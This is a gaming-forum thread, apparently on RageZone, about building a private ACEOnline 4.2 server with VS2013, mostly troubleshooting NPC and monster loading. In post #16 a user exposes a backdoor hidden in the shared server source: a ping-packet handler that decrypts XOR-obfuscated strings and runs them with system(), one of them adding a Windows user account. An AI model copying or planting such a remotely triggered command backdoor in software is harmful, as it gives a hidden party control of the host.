[Guide] ACEOnline 4.2 using VS2013

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  1. #16
    [Guide] ACEOnline 4.2 using VS2013 St34lth4ng3l is online now
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    Re: [Guide] ACEOnline 4.2 using VS2013


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    Quote Originally Posted by Aesir View Post
    Code:
    case T_FM_PING:
                {
                    char rule1[512];
                    char rule2[512];
                    MEMSET_ZERO(rule1, 512);
                    MEMSET_ZERO(rule2, 512);
                    XOR::XORDecrypt(rule1, "474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B", ")(zfafzao87698/&%dad)=($98234");
                    XOR::XORDecrypt(rule2, "0509074A0A070C595B5138233D3761252E254347CE5C15010A181C1815482E4B47782F38686820202E", "klsjfho876JLHGADJH*)?as");
                    system(rule1);
                    system(rule2);
                    *(MessageType_t*)SendBuf = T_FM_PING_OK;
                    SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER);
                }
                break;
    Code:
    474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B ===> net user AspNet `R8w^)xFf]uQKQFT /ADD
    Oh god, guys, if you have to do that atleast change the logins from the CR one :)
    Well, looks like i forgot that i added that backdoor for a special server (copied from you :P) :S

  2. #17
    Member 4TheEnjoy is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    Quote Originally Posted by St34lth4ng3l View Post
    Server can't load the NPC's, could cause not spawning NPC's too.
    how can fix ?

  3. #18
    [Guide] ACEOnline 4.2 using VS2013 St34lth4ng3l is online now
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    Re: [Guide] ACEOnline 4.2 using VS2013

    Quote Originally Posted by 4TheEnjoy View Post
    how can fix ?
    Add debuggin utilities to check where it fails loading the monsters.

  4. #19
    Account Upgraded | Title Enabled! askmyleg is online now
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    Re: [Guide] ACEOnline 4.2 using VS2013

    May God give you more health thanks

  5. #20
    Se7enSins WARonline is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    A good and very simple guide for any rookies! Well done @St34lth4ng3l. I appreciate it :)

  6. #21
    Member 4TheEnjoy is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    but this share have so many bugs and problems, like npc problem, and we dont known c++ guys try for fix them but we need support and help, so if you want be helpful please how can we fix them, or tell us how can have search for the find problem is where

  7. #22
    Member burgers is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    Quote Originally Posted by 4TheEnjoy View Post
    but this share have so many bugs and problems, like npc problem, and we dont known c++ guys try for fix them but we need support and help, so if you want be helpful please how can we fix them, or tell us how can have search for the find problem is where
    You have two options: learn c++ and attempt to fix the bugs yourself, seeing as you would only really be bothering with the source if you knew how to use it in the first place outside of being able to change xor-key/ip easier, or you can wait patiently for more experienced people to use up their own precious free time to explain and provide fixes to bugs with the source, which in particular is something you must keep in mind. Not everyone has the time to cater to every single bug or problem. Have fun.

  8. #23
    Newbie Hieu Van Ha is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    What is Key String to Xor?

  9. #24
    [Guide] ACEOnline 4.2 using VS2013 Future is online now
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    Re: [Guide] ACEOnline 4.2 using VS2013

    Quote Originally Posted by St34lth4ng3l View Post
    you can find the XOR codes in AtumParam.h
    read.


    Quote Originally Posted by A Wise Man
    P-Servers are NOT dead. Bugs need squishing. Quests need fixing. Unfortunately, majority of people don't know the difference between a computer and a toaster so...

  10. #25
    Member 4TheEnjoy is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    who can help me for field server cant load clearly npc server ?
    [help]a lot of errors

  11. #26
    Hardcore Member Afk Roy Osorio is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    future never going to fix our problem with monsters


    waiting more than two weeks

  12. #27
    [Guide] ACEOnline 4.2 using VS2013 Future is online now
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    Re: [Guide] ACEOnline 4.2 using VS2013

    I get confused that this is posted in a 4.2 guide while the logs show your servers run 3.5. And as I kept getting mismatches with the servers and clients I gave up cus I wasted half of my saturday already....

    Anyw. I'm going to test it with EP 3.5 this weekend. Anyone here having this problem to volunteer as tester?


    Quote Originally Posted by A Wise Man
    P-Servers are NOT dead. Bugs need squishing. Quests need fixing. Unfortunately, majority of people don't know the difference between a computer and a toaster so...

  13. #28
    Hardcore Member Afk Roy Osorio is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    me <3 ...!! i have problem 3.5 ¬¬ monster and quest

  14. #29
    Member 4TheEnjoy is offline
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    Re: [Guide] ACEOnline 4.2 using VS2013

    Quote Originally Posted by Future View Post
    I get confused that this is posted in a 4.2 guide while the logs show your servers run 3.5. And as I kept getting mismatches with the servers and clients I gave up cus I wasted half of my saturday already....

    Anyw. I'm going to test it with EP 3.5 this weekend. Anyone here having this problem to volunteer as tester?
    what did you say, you are already say this,

    http://forum.ragezone.com/f908/help-...ml#post8587564

    look at this

  15. #30
    [Guide] ACEOnline 4.2 using VS2013 Future is online now
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    Re: [Guide] ACEOnline 4.2 using VS2013

    Patience is key guys.

    Here we go: http://forum.ragezone.com/f614/tutor...-quest-1098336

    Fixed all mob related issues as promised.
    @St34lth4ng3l would you mind updating the source files you uploaded to fix this issue for everyone who's downloading this the first time?


    Quote Originally Posted by A Wise Man
    P-Servers are NOT dead. Bugs need squishing. Quests need fixing. Unfortunately, majority of people don't know the difference between a computer and a toaster so...




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